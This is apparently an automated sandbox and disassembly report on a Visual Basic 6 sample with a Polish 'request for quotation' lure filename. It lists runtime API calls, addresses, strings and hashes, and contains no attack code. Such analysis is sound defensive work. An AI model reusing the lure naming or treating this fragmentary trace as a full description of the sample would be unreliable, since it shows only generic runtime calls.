Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000,?,?,?,?,Function_000032B6), ref: 0040DB4A
__vbaStrCat.MSVBVM60( RU,00000000,?,?,?,?,Function_000032B6), ref: 0040DB63
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DB6E
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000,?,?,?,?,Function_000032B6), ref: 0040DB8F

Part of subcall function 00415FD0: __vbaSetSystemError.MSVBVM60(00000000,0040DBA1,?,?,?,?,Function_000032B6), ref: 00415FE5

Part of subcall function 00416100: __vbaSetSystemError.MSVBVM60(00000000,0040DBAD,?,?,?,?,Function_000032B6), ref: 00416115

Strings

RU, xrefs: 0040DB19, 0040DB5E

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$Free$System$AnsiCopyUnicode$ChkstkMove$BstrList
String ID: RU
API String ID: 279242310-1417676127
Opcode ID: 834666a230e91adafad132ac9b958fc5a9d9edbf53aecaab06e1bd8c04ae2b97
Instruction ID: a5e5539ec0bd47771e5bba15ffd7383eda2de6e9d9ac7ceec32cc9b4ad75a0a3
Opcode Fuzzy Hash: 834666a230e91adafad132ac9b958fc5a9d9edbf53aecaab06e1bd8c04ae2b97
Instruction Fuzzy Hash: A7312A71600244EFDB00DF94DE4AF9E7BB8FB48704F60816DF505A72A0CB786A44CBA9

Function 00429070 Relevance: 15.1, APIs: 10, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0042908E
__vbaObjSetAddref.MSVBVM60(?,00000000,?,?,?,?,Function_000032B6), ref: 004290D4
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 004290E3
__vbaVarVargNofree.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004290F6
__vbaStrErrVarCopy.MSVBVM60(00000000,?,?,?,?,Function_000032B6), ref: 004290FD
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 00429108
__vbaChkstk.MSVBVM60 ref: 00429120
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 00429146
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00429152
__vbaFreeObj.MSVBVM60(0042917A,?,?,?,?,?,?,Function_000032B6), ref: 00429173

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$ChkstkFree$AddrefCopyErrorEventMoveNofreeRaiseVarg
String ID:
API String ID: 3705209087-0
Opcode ID: 81121c5470669a7c16739aa6be5f71145eac563f112db7cdea347d1295e6e5d1
Instruction ID: f347cf2a893cf853362eea099f11493267eac5c9acb7e4d5a4fc20cfa02f8f68
Opcode Fuzzy Hash: 81121c5470669a7c16739aa6be5f71145eac563f112db7cdea347d1295e6e5d1
Instruction Fuzzy Hash: 70310975900209DFDB00DF94C989BDEBBB4FF08314F108269F915A7390C774AA85CB94

Function 0041D5B8 Relevance: 13.5, APIs: 9, Instructions: 45COMMON

Download Yara Rule

APIs

__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5D9
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5E1
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041D5E9
__vbaExitProc.MSVBVM60 ref: 0041D5EB
__vbaFreeVar.MSVBVM60(0041D664), ref: 0041D64B
__vbaFreeVar.MSVBVM60 ref: 0041D650
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041D658
__vbaFreeVar.MSVBVM60 ref: 0041D661
__vbaErrorOverflow.MSVBVM60 ref: 0041D680

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AddrefFree$DestructErrorExitOverflowProc
String ID:
API String ID: 2473607959-0
Opcode ID: cb108ea1c80cccade74e7f213af0347de610002038ec2a835772024163612513
Instruction ID: 9264f18109a120e7ce87413fc4b53469814454bba0ef014958fd4b23833393e4
Opcode Fuzzy Hash: cb108ea1c80cccade74e7f213af0347de610002038ec2a835772024163612513
Instruction Fuzzy Hash: A7F04F71C50218AFDB04EBA0ED55BED7B34EF48700F508426E506A70B4EF786A85CFA9

Function 00428CC0 Relevance: 12.1, APIs: 8, Instructions: 113COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,00402F88,?,?,?,?,?,00000000,004032B6), ref: 00428CF6
__vbaExitProc.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00428D27
__vbaErrorOverflow.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00428D42
__vbaOnError.MSVBVM60(00000001), ref: 00428D95
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428DBA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A184,00000094), ref: 00428DE4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF9

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$CheckExitHresultProc$FreeOverflow
String ID:
API String ID: 1609803294-0
Opcode ID: 21ddd133c35a2055249bfdced58ced3040ae018b58796bb9847fdddddb7096ca
Instruction ID: 288edfe35e9085eef6f99ea30057e2506a503dbf0f3c7e11b8dd8825ff45c2f6
Opcode Fuzzy Hash: 21ddd133c35a2055249bfdced58ced3040ae018b58796bb9847fdddddb7096ca
Instruction Fuzzy Hash: 35417E75E01218EFC710DF98D948A9DBBB8FF58B10F50416BF805B7290CB7859418BA9

Function 00404FDC Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040D56C
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040D584
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D5A7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D5CB
__vbaObjSet.MSVBVM60(?,?), ref: 0040D5E2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,0000000C), ref: 0040D5F8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D608
__vbaExitProc.MSVBVM60 ref: 0040D611

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeListNew2Proc
String ID:
API String ID: 306309671-0
Opcode ID: ca2ad210dbadf10d8339a2c6302259c2d85a358f52ad595904c40038edc4eebe
Instruction ID: d803e8ae1a74f1de2285c6eb7d8813a05e13e9447d060414ac64bef4c706b468
Opcode Fuzzy Hash: ca2ad210dbadf10d8339a2c6302259c2d85a358f52ad595904c40038edc4eebe
Instruction Fuzzy Hash: CB318E70900218FFDB10DF95DD89E9EBBB8FF08B04F10456AF545B7290D77899448BA9

Function 004250D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(6CF8D83C,00000000), ref: 0042510E
__vbaR8IntI4.MSVBVM60(x.@,6CF8D83C,00000000), ref: 00425122
_adj_fdiv_m64.MSVBVM60 ref: 00425167
__vbaR8IntI4.MSVBVM60 ref: 00425172

Strings

x.@, xrefs: 00425117

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba_adj_fdiv_m64
String ID: x.@
API String ID: 2746309926-3631786054
Opcode ID: 9ac73b9d7d80b49c2d232aa197a81b06f8acdeec819939354fa6ae610ae96cf9
Instruction ID: e2d31677cc0c5545fa80c966f8e09b0dd77fe682f18f487efa9605fdaabcacac
Opcode Fuzzy Hash: 9ac73b9d7d80b49c2d232aa197a81b06f8acdeec819939354fa6ae610ae96cf9
Instruction Fuzzy Hash: CD216831B046119FD7099F14FA4433BBBA6B7C8341F55867EE485D22A4CB788895C749

Function 004291A0 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004291EA
__vbaCastObj.MSVBVM60(00000000,0040A2F8,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004291F8
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429203
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429223
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 0042922C
__vbaRaiseEvent.MSVBVM60(?,00000002,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429236
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 0042923F

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CastCheckErrorEventExitFreeHresultProcRaise
String ID:
API String ID: 2392155486-0
Opcode ID: 039d90c4dc18c79ec7187133a193b3ab27d0cecebb805d049768fa3ec49b57b7
Instruction ID: 083221939679d71a8f0af14ea155fa08f788ddfb085ab1f4567514e6edbf7ed0
Opcode Fuzzy Hash: 039d90c4dc18c79ec7187133a193b3ab27d0cecebb805d049768fa3ec49b57b7
Instruction Fuzzy Hash: 64119A71940654BBCB00AFA4CE49E9EBBB8FF48B00F10806AF841B22A1C77815408BF9

Function 00428BBE Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

__vbaExitProc.MSVBVM60 ref: 00428BBE
__vbaAryDestruct.MSVBVM60(00000000,?,00428C0D), ref: 00428BE2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BEA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BF2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428BFA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428C02
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00428C0A

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Destruct$ExitProc
String ID:
API String ID: 1594393734-0
Opcode ID: 952738d25d21216cb59d4962ff70e805ce52a3947e489f7afe1132f397de7233
Instruction ID: 9365795d6c175bddc2ceeb307a93c3593e60e9969e1da01e8ce20a231f89a0e7
Opcode Fuzzy Hash: 952738d25d21216cb59d4962ff70e805ce52a3947e489f7afe1132f397de7233
Instruction Fuzzy Hash: 9BE0ACB29441286AEB4097D0EC41FBD7B3CEB84701F44411AF606AA0989AA42A44CBA1

Function 00415EC0 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(6CF8D8B1,6CF7A323,00000000), ref: 00415F0F
__vbaNew2.MSVBVM60(00406520,0042CC34,6CF8D8B1,6CF7A323,00000000), ref: 00415F27
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 00415F4C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100), ref: 00415F76
__vbaSetSystemError.MSVBVM60(0000000D,00416130,?,00000000), ref: 00415F8F
__vbaFreeObj.MSVBVM60 ref: 00415F9E

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckErrorHresultSystem$FreeNew2
String ID:
API String ID: 4095944179-0
Opcode ID: 0e2877956f964c667186ba7d453f48a1745dc0f6204dd302438443de716a423e
Instruction ID: 86e52eac19165ff6a91ac7dd53a600c53f32cd3851e5c07b860265a300e2eb8b
Opcode Fuzzy Hash: 0e2877956f964c667186ba7d453f48a1745dc0f6204dd302438443de716a423e
Instruction Fuzzy Hash: AA218674A00645EBCB20DBA4EE89FDEBB74EB58741F50012AF145B31E0D77859428BA9

Function 0041A4A0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0041A8A0,?,?,00000000,Function_000032B6), ref: 0041A4BE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A4EE

Part of subcall function 0041A2B0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,0041A500,?,?,?,00000000,Function_000032B6), ref: 0041A2CE
Part of subcall function 0041A2B0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A2FE
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A313
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,00000028,?,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A32B
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 0041A37B
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?), ref: 0041A475

__vbaSetSystemError.MSVBVM60(001F0FFF,00000000,?,?,?,?,00000000,Function_000032B6), ref: 0041A51C
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041A53C
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041A559
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041A575

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: 5bb2bcfdb485b1fc5dace36e1ee00ee028e08319f0daf42fe37a24dbea0d6490
Instruction ID: 0ffcf597171400e777aa296a20f0d346976af0d8bd5363bbaeaa7b020b9ff71b
Opcode Fuzzy Hash: 5bb2bcfdb485b1fc5dace36e1ee00ee028e08319f0daf42fe37a24dbea0d6490
Instruction Fuzzy Hash: 5821D8B5D00648EBDB00EFE5DA49BDEBBB4FB48714F108269E500B7390C7795A44CBA9

Function 00429280 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292BF
__vbaCastObj.MSVBVM60(00000000,0040A2F8,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292CD
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292F8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429301
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429307

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CastCheckErrorExitFreeHresultProc
String ID:
API String ID: 2075080343-0
Opcode ID: 3c98d6e1d880771264c5319e433b74e335411f1da0612e9a017f040162ccee3f
Instruction ID: 9ff539ebce5fad2b4699ffef5be23d845548c77eebf422f0d85762e4eecb91bf
Opcode Fuzzy Hash: 3c98d6e1d880771264c5319e433b74e335411f1da0612e9a017f040162ccee3f
Instruction Fuzzy Hash: 88018B71940214ABCB00AFA4CE48E9EBBB8FF48701F50406AF845B22A0CB7C55008AB9

Function 004200AF Relevance: 9.0, APIs: 6, Instructions: 26COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 004200BC
__vbaFileClose.MSVBVM60(00000000), ref: 004200C6
#529.MSVBVM60(00004008), ref: 004200E2
__vbaExitProc.MSVBVM60 ref: 004200EF
__vbaFreeStr.MSVBVM60(00420142), ref: 00420123
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042013B

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CloseFile$#529DestructExitFreeProc
String ID:
API String ID: 4288299288-0
Opcode ID: 76c3e10c01bdde1d78888b45fc76731c4926e5430ee8ad2130daad78c8bdb4b7
Instruction ID: e63006f6629530c6f9d06262b1e3e783061ea391c4db22c70a24105a95955a76
Opcode Fuzzy Hash: 76c3e10c01bdde1d78888b45fc76731c4926e5430ee8ad2130daad78c8bdb4b7
Instruction Fuzzy Hash: 39F0E775D00218CECF10EFA0DD44BEDB7B8BB48300F4081AAE54AA7560DB741A89CF69

Function 0041E67F Relevance: 9.0, APIs: 6, Instructions: 23COMMON

Download Yara Rule

APIs

__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041E68B
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041E693
__vbaExitProc.MSVBVM60 ref: 0041E695
__vbaFreeVar.MSVBVM60(0041E706), ref: 0041E6F2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041E6FA
__vbaFreeVar.MSVBVM60 ref: 0041E703

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AddrefFree$DestructExitProc
String ID:
API String ID: 474453485-0
Opcode ID: 080a92c9c3c2fb487e3bc96c2bebb315830741a64646396bf6efebd826edfebc
Instruction ID: 667f1fbceb99d918350a8c93aba1b8ec047f02208f043dfad400775f7d70227f
Opcode Fuzzy Hash: 080a92c9c3c2fb487e3bc96c2bebb315830741a64646396bf6efebd826edfebc
Instruction Fuzzy Hash: A6E0E531D60128AADB04DBA0ED55FED7B38BF14700F54406AF902B30E09F746945CFA9

Function 00420B94 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 00420BA1
__vbaFileClose.MSVBVM60(00000000), ref: 00420BAB
__vbaExitProc.MSVBVM60 ref: 00420BB4
__vbaFreeStr.MSVBVM60(00420BF8), ref: 00420BEB
__vbaFreeStr.MSVBVM60 ref: 00420BF0
__vbaFreeStr.MSVBVM60 ref: 00420BF5

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$CloseFile$ExitProc
String ID:
API String ID: 2014117853-0
Opcode ID: c3a2a4b37cd901fdd2dfd3f0805bf3e80cc1eed6359ebd58807123f09fd26edf
Instruction ID: 1a74a742803cabf7b99f207da3827670e0b1cecb12e14af3a137c0d733611b17
Opcode Fuzzy Hash: c3a2a4b37cd901fdd2dfd3f0805bf3e80cc1eed6359ebd58807123f09fd26edf
Instruction Fuzzy Hash: 3FE01A71D04128CACB14ABE0FD4069C7BB4AB08310B904167A402B3174DB742985CF99

Function 00418C10 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00418D00: __vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,6CF7A323,6CF8D8B1,?), ref: 00418D1E
Part of subcall function 00418D00: __vbaOnError.MSVBVM60(000000FF,00000000,?,?,?,Function_000032B6,?), ref: 00418D4E
Part of subcall function 00418D00: __vbaRecUniToAnsi.MSVBVM60(004054A0,?,?), ref: 00418D6E
Part of subcall function 00418D00: __vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D77
Part of subcall function 00418D00: __vbaStrMove.MSVBVM60 ref: 00418D85
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418D93
Part of subcall function 00418D00: __vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D9C
Part of subcall function 00418D00: __vbaStrMove.MSVBVM60 ref: 00418DAA
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418DB8
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,DISPLAY,00000000), ref: 00418DCB
